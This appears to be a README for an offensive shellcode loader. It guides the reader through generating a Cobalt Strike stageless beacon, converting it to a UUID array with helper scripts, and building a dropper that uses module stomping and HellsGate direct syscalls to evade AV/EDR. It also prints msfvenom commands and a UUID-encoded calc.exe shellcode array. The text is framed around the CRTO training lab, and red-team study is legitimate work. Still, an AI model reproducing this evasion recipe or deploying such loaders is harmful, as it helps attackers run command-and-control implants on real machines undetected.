Module Stomping, No New Thread, HellsGate syscaller, UUID Shellcode Runner for x64 Windows 10!
Module Stomping, No New Thread, HellsGate syscaller, UUID Shellcode Runner for x64 Windows 10!
This was tested in the new Certified Red Team Operator course labs which gives you Cobalt Strike access out-of-the-box. If you are interested in digging deeper into Cobalt Strike, I definitely recommend getting your hands dirty with this course!
Since the CRTO labs have Cobalt Strike, for security reasons they are not connected to the public internet. Another hurdle is we cannot copy entire files to and from our CRTO lab. What we can do, is copy-paste text from our host to the the CRTO lab. Since I think these labs are awesome, this walkthrough shows how to get this project working in the CRTO lab environment!
teamserver
& the cobaltstrike
gui on the Kali-Attacker boxcobaltstrike
is located in the /opt/
directory, but this may differ based on your installation.root@kali:/opt/cobaltstrike# ifconfig
eth0: inet 10.10.5.120
# Start the teamserver with the password myPassword123
root@kali:/opt/cobaltstrike# ./teamserver 10.10.5.120 myPassword123
# Launch the cobaltstrike GUI and connect to it with any username and the password above
root@kali:/opt/cobaltstrike# ./cobaltstrike
Cobalt Strike
from the menu bar, and then select Listeners
Add
button. A listener window will popupBeaconHTTP
used in this examplehttp
used hereHTTP Hosts
, click the +
button and add the teamservers IPSave
Attacks
from the menu bar, then Packages
, and select Windows Executable (S)
(S)
means that the payload will be Stageless. A Stageless payload has the entire beacon in it, while the Staged version only has a small stub that calls out to the teamserver and then loads the rest of the beacon.http
listener we just created.Output:
to Raw
Raw
payload will save our Stageless Beacon as pure shellcode.Open Visual Studios, and create a blank C++ project.
Within the new project, right-click the Source-File
folder and click Add
Select C++ File (.cpp)
and change the name to main.c
Do this again and create the file functions.asm
At this point we will have 2 files in our project.
Copy the code in main.c
of this repo to the main.c
file we just created in Visual Studios on our Windows-Attacker box within the CRTO labs.
Copy the code in functions.asm
of this repo to the functions.asm
file on our Windows-Attacker box.
Build Customizations...
From the Build Customizations
popup window, check masm(targets, .props)
. This allows us to use Assembly in our VS project.
Now that Assembly is enabled in our project, we need to tell Visual Studios that our functions.asm
file is an Assembly file, and to include it in our build.
From the Solution Explorer, right-click our functions.asm
file and click Properties
Configuration Properties
-> General
, and set the Item Type
to Microsoft Macro Assembler
. Then click OK
to apply our changes.Project
from the main menu, and from the drop-down select <ProjectName> Properties
Configuration Properties
-> Advanced
Whole Program Optimization
to No Whole Program Optimization
OK
to save changesbeacon.bin
to an array of UUIDs. and transfer beacon-uuids.txt
to our Windows-Attacker Boxbin2uuid.py
python3 script from this repo to the Kali-Attacker box.bin2uuids.py
script to convert the beacon.bin
payload into a C style array of UUIDs.beacon-uuids.txt
text file.root@kali:~# python3 bin2uuids.py beacon.bin > beacon-uuids.txt
beacon-uuids.txt
text file from the Kali-Attacker box to the Windows-Attacker box.
Raw
select Windows EXE
upload /root/beacon-uuids.txt
beacon-uuids.txt
file with Cobalt Strikebeacon-uuids.txt
with Notepadmain.c
from our uuid project with Visual Studios.CHAR* uuid[]
payload, and paste our new Cobalt Strike Stageless Beacon payload.C:\Users\Administrator\source\repos\uuid\x64\Release\uuid.exe
PSExec
!Shellcode is typically loaded into the Heap
of the process, or the VirtualAlloc()
API is used to reserve a private section of memory where the shellcode is then loaded too. Regardless of where the shellcode is in memory, that allocated memory must be marked executable for the shellcode to run. This is typically done by calling the VirtualProtect()
API, after the shellcode has been written to memory, to change the allocated memory from RW
(Read-Write) to RX
(Read-Execute). RX
sections within modules are common, such as the executable .TEXT
section of the host process, and the executable .TEXT
section of a Dynamically Loaded Library (DLL) which has been loaded into the memory of the process. Although, RX
or RWX
executable memory sections within the Heap and Privately allocated sections, not backed by a module are suspicious, and easier to detect. To evade this detection, Module Stomping can be used.
Module Stomping is where the malware will load a DLL into the processes memory using the LoadLibrary()
API, change the permissions of the loaded libraries memory to RW
(writable), overwrite the DLL memory with the shellcode, change the module-backed memory back to RX
(executable), and then execute the shellcode from the DLL memory. When the memory is scanned, the shellcode will appear to be just the executable code from the loaded DLL. Therefor this may evade some AV/EDR dynamic memory scanners.
Sektor7 does a better job of explaining it, and I recommend you check out there courses if you'd like to dive deeper: institute.sektor7.net
This dropper uses the Module Stomping technique described above, in combination with these techniques:
ntdll.dll
and kernel32.dll
.NTAPI
& WINAPI
APIs by using a custom implementation of GetProcAddress()
written in Assembly.ntdll.dll
.ntdll.dll
is hooked by AV/EDR.EnumSystemLocalesA()
to execute the UUID decoded shellcode.┌──(bobby.cooke@0xBoku)-[~]
└─$ msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Saved as: calc.bin
calc.bin
we will use the bin2uuid.py
python3 script to convert our shellcode into an array of UUIDs.┌──(bobby.cooke@0xBoku)-[~]
└─$ python3 bin2uuid.py calc.bin
const char* uuids[] =
{
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
"728b4820-4850-b70f-4a4a-4d31c94831c0",
"7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
"48514152-528b-8b20-423c-4801d08b8088",
"48000000-c085-6774-4801-d0508b481844",
"4920408b-d001-56e3-48ff-c9418b348848",
"314dd601-48c9-c031-ac41-c1c90d4101c1",
"f175e038-034c-244c-0845-39d175d85844",
"4924408b-d001-4166-8b0c-48448b401c49",
"8b41d001-8804-0148-d041-5841585e595a",
"59415841-5a41-8348-ec20-4152ffe05841",
"8b485a59-e912-ff57-ffff-5d48ba010000",
"00000000-4800-8d8d-0101-000041ba318b",
"d5ff876f-f0bb-a2b5-5641-baa695bd9dff",
"c48348d5-3c28-7c06-0a80-fbe07505bb47",
"6a6f7213-5900-8941-daff-d563616c632e",
"00657865-9090-9090-9090-909090909090"
};
main.c
main.c
file, replace the uuids[]
array with your array of UUIDs.RX
section module stomped by our shellcode by changing the sLib[]
array to a name of a different DLL.string2array.py
python script to convert the DLL name into an array of chars.┌──(bobby.cooke@0xBoku)-[~]
└─$ python3 string2array.py sLib mshtml.dll
CHAR sLib[] = {'m','s','h','t','m','l','.','d','l','l',0};
CHAR sLib[]
array in main.c
with the newly generated one.